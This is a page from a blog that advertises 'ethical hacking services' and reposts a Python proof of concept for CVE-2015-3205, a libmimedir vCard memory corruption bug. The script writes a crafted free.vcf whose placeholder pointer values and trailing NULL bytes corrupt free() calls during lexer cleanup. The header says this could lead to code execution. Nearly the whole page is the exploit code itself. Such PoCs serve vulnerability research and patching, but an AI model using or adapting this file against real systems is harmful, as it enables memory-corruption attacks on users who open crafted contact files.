Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396714

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
# libmimedir-free.py
#
# Libmimedir VCF Memory Corruption PoC (CVE-2015-3205)
#
# Jeremy Brown [jbrown3264/gmail]
# June 2015
#
# -Synopsis-
#
# Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls
# which occur during it's lexer's memory clean-up procedure. This could lead to exploitable
# conditions such as crafting a specific memory chunk to allow for arbitrary code execution.
#
# -Tested-
#
# libmimedir-0.5.1.tar.gz
# libmimedir-static 0.4-13.fc21
#
# -Notes-
#
# Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already
# a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a
# fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch.
#

from struct import pack

def main():
    mime = "begin:vcard<x\nx;type=x;type=x,"
    mime += pack("<Q", 0x4141414141414141) # mdm->p
    mime += pack("<Q", 0x4242424242424242) # mdm->next
    mime += ":x>x.l:x"
    mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR
    
    print("Writing free.vcf to local directory...")
    
    try:
        with open("free.vcf", 'wb') as outfile:
            outfile.write(mime)

    except Exception as error:
        print("Error: %s\n" % error);
        return
    
    print("Done\n")
    
    return

if __name__ == "__main__":
    main()